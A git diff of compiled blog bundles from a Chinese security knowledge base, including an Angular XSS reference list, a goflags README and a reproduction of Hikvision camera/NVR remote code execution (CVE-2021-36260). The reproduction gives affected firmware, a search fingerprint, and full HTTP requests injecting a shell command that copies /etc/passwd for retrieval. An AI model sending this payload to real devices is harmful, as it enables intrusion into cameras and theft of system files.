}\n}\n'})}),"\n",(0,a.jsx)(n.p,{children:(0,a.jsx)(n.img,{src:"https://angular.io/generated/images/guide/security/bypass-security-component.png",alt:"XSS"})}),"\n",(0,a.jsx)(n.p,{children:"\u5728\u8fdb\u884c\u4ee3\u7801\u5ba1\u67e5\u65f6\uff0c\u60a8\u5e0c\u671b\u786e\u4fdd\u6ca1\u6709\u7528\u6237\u8f93\u5165\u662f\u53ef\u4fe1\u7684\uff0c\u56e0\u4e3a\u5b83\u4f1a\u5728\u5e94\u7528\u7a0b\u5e8f\u4e2d\u5f15\u5165\u5b89\u5168\u6f0f\u6d1e\u3002"}),"\n",(0,a.jsx)(n.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,a.jsxs)(n.ul,{children:["\n",(0,a.jsx)(n.li,{children:(0,a.jsx)(n.a,{href:"https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs",children:"\u4e0d\u5e26 HTML \u7684 XSS-\u5e26 Angular JS \u7684 CSTI-Portswigger"})}),"\n",(0,a.jsx)(n.li,{children:(0,a.jsx)(n.a,{href:"https://ardern.io/2018/12/07/angularjs-bxss",children:"\u76f2 XSS AngularJS \u6709\u6548\u8d1f\u8f7d"})}),"\n",(0,a.jsx)(n.li,{children:(0,a.jsx)(n.a,{href:"https://angular.io/guide/security",children:"\u89d2\u5ea6\u5b89\u5168\u6027"})}),"\n",(0,a.jsx)(n.li,{children:(0,a.jsx)(n.a,{href:"https://medium.com/@swarnakishore/angular-safe-pipe-implementation-to-bypass-domsanitizer-stripping-out-content-c1bf0f1cc36b",children:"\u7ed5\u8fc7 DomSanitizer"})}),"\n"]})]})}function p(e={}){const{wrapper:n}={...(0,s.R)(),...e.components};return n?(0,a.jsx)(n,{...e,children:(0,a.jsx)(d,{...e})}):d(e)}},28453:(e,n,r)=>{r.d(n,{R:()=>l,x:()=>c});var t=r(96540);const a={},s=t.createContext(a);function l(e){const n=t.useContext(s);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(a):e.components||a:l(e.components),t.createElement(s.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/1cc093c7.33885d1c.js b/assets/js/1cc093c7.33885d1c.js new file mode 100644 index 0000000..95470b2 --- /dev/null +++ b/assets/js/1cc093c7.33885d1c.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8260],{13135:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>i,contentTitle:()=>o,default:()=>p,frontMatter:()=>a,metadata:()=>s,toc:()=>l});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)","title":"\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/01.\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260).md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/01.\u6d77\u5eb7\u5a01\u89c6","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/01.\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260).md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u4e2d\u95f4\u4ef6/Apache/Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09"},"next":{"title":"\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0"}}');var c=t(74848),r=t(28453);const a={},o=void 0,i={},l=[];function d(e){const n={code:"code",hr:"hr",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsxs)(n.table,{children:[(0,c.jsx)(n.thead,{children:(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,c.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,c.jsx)(n.tbody,{children:(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{style:{textAlign:"left"},children:(0,c.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,c.jsx)(n.td,{style:{textAlign:"left"},children:"2025-06-14 01:53:27"})]})})]}),"\n",(0,c.jsx)(n.p,{children:"\u4e00\u3001\u6f0f\u6d1e\u7b80\u4ecb\n\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673a/NVR\u8bbe\u5907\u56fa\u4ef6\u4e2d\u53d1\u73b0\u4e00\u4e2a\u672a\u8ba4\u8bc1\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff08CVE-2021-36260\uff09\u3002\u6f0f\u6d1e\u5f71\u54cdIP\u6444\u50cf\u5934\u548cNVR\u8bbe\u5907\u56fa\u4ef6\uff0c\u6f0f\u6d1e\u662f\u56e0\u4e3a\u5bf9\u8f93\u5165\u53c2\u6570\u68c0\u9a8c\u4e0d\u5145\u5206\uff0c\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u653b\u51fb\u8005\u901a\u8fc7\u6784\u9020\u6076\u610f\u547d\u4ee4\u8bf7\u6c42\u5305\u53d1\u9001\u5230\u53d7\u5f71\u54cd\u8bbe\u5907\uff0c\u5373\u53ef\u5b9e\u73b0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u3002"}),"\n",(0,c.jsx)(n.p,{children:"\u4e8c\u3001\u5f71\u54cd\u7248\u672c"}),"\n",(0,c.jsx)(n.p,{children:"\u7f51\u7edc\u6444\u50cf\u5934"}),"\n",(0,c.jsx)(n.p,{children:'\u4ea7\u54c1\u7c7b\u578b\t\u5f71\u54cd\u7248\u672c\nIPC_E0\tIPC_E0_CN_STD_5.4.6_180112\nIPC_E1\t\u672a\u77e5\nIPC_E2\tIPC_E2_EN_STD_5.5.52_180620\nIPC_E4\t\u672a\u77e5\nIPC_E6\tIPCK_E6_EN_STD_5.5.100_200226\nIPC_E7\tIPCK_E7_EN_STD_5.5.120_200604\nIPC_G3\tIPC_G3_EN_STD_5.5.160_210416\nIPC_G5\tIPC_G5_EN_STD_5.5.113_210317\nIPC_H1\tIPC_H1_EN_STD_5.4.61_181204\nIPC_H5\tIPCP_H5_EN_STD_5.5.85_201120\nIPC_H8\tFactory installed firmware mid 2021\nIPC_R2\tIPC_R2_EN_STD_V5.4.81_180203\n\u4e09\u3001\u8d44\u4ea7\u6d4b\u7ed8\napp="HIKVISION-\u89c6\u9891\u76d1\u63a7"\n\u56db\u3001\u6f0f\u6d1e\u590d\u73b0\n1.\u6267\u884c\u547d\u4ee4\uff0c\u5199\u5165\u5230\u6587\u4ef6\u4e2d(\u8fd9\u91cc\u8bfb\u53d6/etc/passwd)'}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-http",children:'PUT /SDK/webLanguage HTTP/1.1\nUser-Agent: python-requests/2.31.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nHost: \nX-Requested-With: XMLHttpRequest\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nAccept-Language: en-US,en;q=0.9,sv;q=0.8\nContent-Length: 91\n\n<?xml version="1.0" encoding="UTF-8"?><language>$(cat /etc/passwd>webLib/passwd)</language>\n'})}),"\n",(0,c.jsx)(n.p,{children:"2.\u8bfb\u53d6\u547d\u4ee4\u6267\u884c\u7ed3\u679c"}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-http",children:'GET /passwd HTTP/1.1\nUser-Agent: python-requests/2.31.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nHost: \nX-Requested-With: XMLHttpRequest\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nAccept-Language: en-US,en;q=0.9,sv;q=0.8\nContent-Length: 91\n\n<?xml version="1.0" encoding="UTF-8"?><language>$(cat /etc/passwd>webLib/passwd)</language>\n'})}),"\n",(0,c.jsx)(n.hr,{})]})}function p(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,c.jsx)(n,{...e,children:(0,c.jsx)(d,{...e})}):d(e)}},28453:(e,n,t)=>{t.d(n,{R:()=>a,x:()=>o});var s=t(96540);const c={},r=s.createContext(c);function a(e){const n=s.useContext(r);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(c):e.components||c:a(e.components),s.createElement(r.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/1d456b22.736f8f0e.js b/assets/js/1d456b22.736f8f0e.js new file mode 100644 index 0000000..f99be08 --- /dev/null +++ b/assets/js/1d456b22.736f8f0e.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4629],{6012:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>a,contentTitle:()=>o,default:()=>h,frontMatter:()=>l,metadata:()=>i,toc:()=>d});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-goflags","title":"goflags","description":"[!Tip]","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/02.Go\u6a21\u5757\u5b66\u4e60/03.GoLang-goflags.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/02.Go\u6a21\u5757\u5b66\u4e60","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-goflags","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-goflags","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/02.Go\u6a21\u5757\u5b66\u4e60/03.GoLang-goflags.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"02.GoLand-net.http.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLand-net.http"},"next":{"title":"CVE-2022-26134","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-CVE-2022-26134"}}');var s=t(74848),r=t(28453);const l={},o="goflags",a={},d=[{value:"Features",id:"features",level:2},{value:"Usage",id:"usage",level:2},{value:"Flag Types",id:"flag-types",level:3},{value:"String Slice Options",id:"string-slice-options",level:3},{value:"Example",id:"example",level:2},{value:"Thanks",id:"thanks",level:3}];function c(n){const e={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...n.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"goflags",children:"goflags"})}),"\n",(0,s.jsxs)(e.blockquote,{children:["\n",(0,s.jsx)(e.p,{children:"[!Tip]"}),"\n",(0,s.jsx)(e.p,{children:"\u672c\u7bc7\u6587\u7ae0\u53c2\u8003\u5982\u4e0b\uff0c\u5982\u6709\u4fb5\u6743\uff0c\u8bf7\u8054\u7cfb\u6211\u5220\u9664\u3002"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:(0,s.jsx)(e.a,{href:"https://github.com/projectdiscovery/goflags",children:"\u7b2c\u4e09\u5341\u516d\u7ae0 net/http\u5305 \xb7 Go \u8bed\u8a00 42 \u7ae0\u7ecf"})}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.a,{href:"LICENSE.md",children:(0,s.jsx)(e.img,{src:"https://img.shields.io/github/license/projectdiscovery/goflags",alt:"License"})}),"\n",(0,s.jsx)(e.img,{src:"https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei?filename=v2%2Fgo.mod",alt:"Go version"}),"\n",(0,s.jsx)(e.a,{href:"https://github.com/projectdiscovery/goflags/releases/",children:(0,s.jsx)(e.img,{src:"https://img.shields.io/github/release/projectdiscovery/goflags",alt:"Release"})}),"\n",(0,s.jsx)(e.a,{href:"https://github.com/projectdiscovery/goflags/actions/workflows/build-test.yml",children:(0,s.jsx)(e.img,{src:"https://github.com/projectdiscovery/goflags/actions/workflows/build-test.yml/badge.svg",alt:"Checks"})})]}),"\n",(0,s.jsxs)(e.p,{children:["An extension of the go ",(0,s.jsx)(e.code,{children:"flag"})," library that adds convenience functions and functionalities like config file, better usage, short and long flag support, custom types for string slices and maps etc."]}),"\n",(0,s.jsx)(e.h2,{id:"features",children:"Features"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"In-built YAML Configuration file support."}),"\n",(0,s.jsx)(e.li,{children:"Better usage instructions"}),"\n",(0,s.jsx)(e.li,{children:"Short and long flags support"}),"\n",(0,s.jsx)(e.li,{children:"Custom String Slice types with different options (comma-separated,normalized,etc)"}),"\n",(0,s.jsx)(e.li,{children:"Custom Map type"}),"\n",(0,s.jsx)(e.li,{children:"Flags grouping support (CreateGroup,SetGroup)"}),"\n"]}),"\n",(0,s.jsx)(e.h2,{id:"usage",children:"Usage"}),"\n",(0,s.jsxs)(e.p,{children:["The following types are supported by the goflags library. The ",(0,s.jsx)(e.code,{children:"<name>P"})," suffix means that the flag supports both a long and a short flag for the option."]}),"\n",(0,s.jsx)(e.h3,{id:"flag-types",children:"Flag Types"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{children:"Function"}),(0,s.jsx)(e.th,{children:"Description"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"BoolVar"}),(0,s.jsx)(e.td,{children:"Boolean value with long name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"BoolVarP"}),(0,s.jsx)(e.td,{children:"Boolean value with long short name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"DurationVar"}),(0,s.jsx)(e.td,{children:"Time Duration value with long name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"DurationVarP"}),(0,s.jsx)(e.td,{children:"Time Duration value with long short name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"IntVar"}),(0,s.jsx)(e.td,{children:"Integer value with long name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"IntVarP"}),(0,s.jsx)(e.td,{children:"Integer value with long short name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"PortVar"}),(0,s.jsx)(e.td,{children:"Port value with long name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"PortVarP"}),(0,s.jsx)(e.td,{children:"Port value with long short name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"RuntimeMapVar"}),(0,s.jsx)(e.td,{children:"Map value with long name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"RuntimeMapVarP"}),(0,s.jsx)(e.td,{children:"Map value with long short name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"StringSliceVar"}),(0,s.jsx)(e.td,{children:"String Slice value with long name and options"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"StringSliceVarConfigOnly"}),(0,s.jsx)(e.td,{children:"String Slice value with long name read from config file only"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"StringSliceVarP"}),(0,s.jsx)(e.td,{children:"String slice value with long short name and options"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"StringVar"}),(0,s.jsx)(e.td,{children:"String value with long name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"StringVarEnv"}),(0,s.jsx)(e.td,{children:"String value with long short name read from environment"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"StringVarP"}),(0,s.jsx)(e.td,{children:"String value with long short name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"Var"}),(0,s.jsx)(e.td,{children:"Custom value with long name implementing flag.Value interface"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"VarP"}),(0,s.jsx)(e.td,{children:"Custom value with long short name implementing flag.Value interface"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"EnumVar"}),(0,s.jsx)(e.td,{children:"Enum value with long name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"EnumVarP"}),(0,s.jsx)(e.td,{children:"Enum value with long short name"})]})]})]}),"\n",(0,s.jsx)(e.h3,{id:"string-slice-options",children:"String Slice Options"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{children:"String Slice Option"}),(0,s.jsx)(e.th,{children:"Tokenization"}),(0,s.jsx)(e.th,{children:"Normalization"}),(0,s.jsx)(e.th,{children:"Description"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"StringSliceOptions"}),(0,s.jsx)(e.td,{children:"None"}),(0,s.jsx)(e.td,{children:"None"}),(0,s.jsx)(e.td,{children:"Default String Slice"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"CommaSeparatedStringSliceOptions"}),(0,s.jsx)(e.td,{children:"Comma"}),(0,s.jsx)(e.td,{children:"None"}),(0,s.jsx)(e.td,{children:"Comma-separated string slice"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"FileCommaSeparatedStringSliceOptions"}),(0,s.jsx)(e.td,{children:"Comma"}),(0,s.jsx)(e.td,{children:"None"}),(0,s.jsx)(e.td,{children:"Comma-separated items from file/cli"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"NormalizedOriginalStringSliceOptions"}),(0,s.jsx)(e.td,{children:"None"}),(0,s.jsx)(e.td,{children:"Standard"}),(0,s.jsx)(e.td,{children:"List of normalized string slice"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"FileNormalizedStringSliceOptions"}),(0,s.jsx)(e.td,{children:"Comma"}),(0,s.jsx)(e.td,{children:"Standard"}),(0,s.jsx)(e.td,{children:"List of normalized string slice from file/cli"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"FileStringSliceOptions"}),(0,s.jsx)(e.td,{children:"Standard"}),(0,s.jsx)(e.td,{children:"Standard"}),(0,s.jsx)(e.td,{children:"List of string slice from file"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"NormalizedStringSliceOptions"}),(0,s.jsx)(e.td,{children:"Comma"}),(0,s.jsx)(e.td,{children:"Standard"}),(0,s.jsx)(e.td,{children:"List of normalized string slice"})]})]})]}),"\n",(0,s.jsx)(e.h2,{id:"example",children:"Example"}),"\n",(0,s.jsx)(e.p,{children:"An example showing various options of the library is specified below."}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"log"\n\n\t"github.com/projectdiscovery/goflags"\n)\n\ntype options struct {\n\tsilent bool\n\tinputs goflags.StringSlice\n\tconfig string\n\tvalues goflags.RuntimeMap\n}\n\nconst (\n\tNil goflags.EnumVariable = iota\n\tType1\n\tType2\n)\n\nfunc main() {\n\tenumAllowedTypes := goflags.AllowdTypes{"type1": Type1, "type2": Type2}\n\topt := &options{}\n\n\tflagSet := goflags.NewFlagSet()\n\tflagSet.SetDescription("Test program to demonstrate goflags options")\n\n\tflagSet.EnumVarP(&options.Type, "enum-type", "et", Nil, "Variable Type (type1/type2)", enumAllowedTypes)\n\tflagSet.BoolVar(&opt.silent, "silent", true, "show silent output")\n\tflagSet.StringSliceVarP(&opt.inputs, "inputs", "i", nil, "list of inputs (file,comma-separated)", goflags.FileCommaSeparatedStringSliceOptions)\n\n\t// Group example\n\tflagSet.CreateGroup("config", "Configuration",\n\t\tflagSet.StringVar(&opt.config, "config", "", "file to read config from"),\n\t\tflagSet.RuntimeMapVar(&opt.values, "values", nil, "key-value runtime values"),\n\t)\n\tif err := flagSet.Parse(); err != nil {\n\t\tlog.Fatalf("Could not parse flags: %s\\n", err)\n\t}\n\tif opt.config != "" {\n\t\tif err := flagSet.MergeConfigFile(opt.config); err != nil {\n\t\t\tlog.Fatalf("Could not merge config file: %s\\n", err)\n\t\t}\n\t}\n\tfmt.Printf("silent: %v inputs: %v config: %v values: %v\\n", opt.silent, opt.inputs, opt.config, opt.values)\n}\n'})}),"\n",(0,s.jsx)(e.h3,{id:"thanks",children:"Thanks"}),"\n",(0,s.jsxs)(e.ol,{children:["\n",(0,s.jsx)(e.li,{children:"spf13/cobra - For the very nice usage template for the command line."}),"\n",(0,s.jsx)(e.li,{children:"nmap/nmap - For the service-port mapping and top-ports list."}),"\n"]})]})}function h(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,s.jsx)(e,{...n,children:(0,s.jsx)(c,{...n})}):c(n)}},28453:(n,e,t)=>{t.d(e,{R:()=>l,x:()=>o});var i=t(96540);const s={},r=i.createContext(s);function l(n){const e=i.useContext(r);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function o(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(s):n.components||s:l(n.components),i.createElement(r.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/assets/js/1f391b9e.39b0150e.js b/assets/js/1f391b9e.39b0150e.js new file mode 100644 index 0000000..841a8cd --- /dev/null +++ b/assets/js/1f391b9e.39b0150e.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6061],{67973:(e,a,s)=>{s.r(a),s.d(a,{default:()=>p});s(96540);var t=s(34164),l=s(45500),d=s(17559),i=s(21656),r=s(2697),c=s(67763),n=s(86896),o=s(12153);const m={mdxPageWrapper:"mdxPageWrapper_j9I6"};var g=s(74848);function p(e){const{content:a}=e,{metadata:s,assets:p}=a,{title:x,editUrl:h,description:j,frontMatter:A,lastUpdatedBy:v,lastUpdatedAt:_}=s,{keywords:b,wrapperClassName:u,hide_table_of_contents:w}=A,N=p.image??A.image,k=!!(h||_||v);return(0,g.jsx)(l.e3,{className:(0,t.A)(u??d.G.wrapper.mdxPages,d.G.page.mdxPage),children:(0,g.jsxs)(i.A,{children:[(0,g.jsx)(l.be,{title:x,description:j,keywords:b,image:N}),(0,g.jsx)("main",{className:"container container--fluid margin-vert--lg",children:(0,g.jsxs)("div",{className:(0,t.A)("row",m.mdxPageWrapper),children:[(0,g.jsxs)("div",{className:(0,t.A)("col",!w&&"col--8"),children:[(0,g.jsx)(n.A,{metadata:s}),(0,g.jsx)("article",{children:(0,g.jsx)(r.A,{children:(0,g.jsx)(a,{})})}),k&&(0,g.jsx)(o.A,{className:(0,t.A)("margin-top--sm",d.G.pages.pageFooterEditMetaRow),editUrl:h,lastUpdatedAt:_,lastUpdatedBy:v})]}),!w&&a.toc.length>0&&(0,g.jsx)("div",{className:"col col--2",children:(0,g.jsx)(c.A,{toc:a.toc,minHeadingLevel:A.toc_min_heading_level,maxHeadingLevel:A.toc_max_heading_level})})]})})]})})}}}]); \ No newline at end of file diff --git a/assets/js/1f6cd8a5.9d7f35a0.js b/assets/js/1f6cd8a5.9d7f35a0.js new file mode 100644 index 0000000..6d1b725 --- /dev/null +++ b/assets/js/1f6cd8a5.9d7f35a0.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7505],{28453:(n,e,s)=>{s.d(e,{R:()=>l,x:()=>r});var i=s(96540);const t={},c=i.createContext(t);function l(n){const e=i.useContext(c);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function r(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:l(n.components),i.createElement(c.Provider,{value:e},n.children)}},55954:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>d,contentTitle:()=>r,default:()=>a,frontMatter:()=>l,metadata:()=>i,toc:()=>h});const 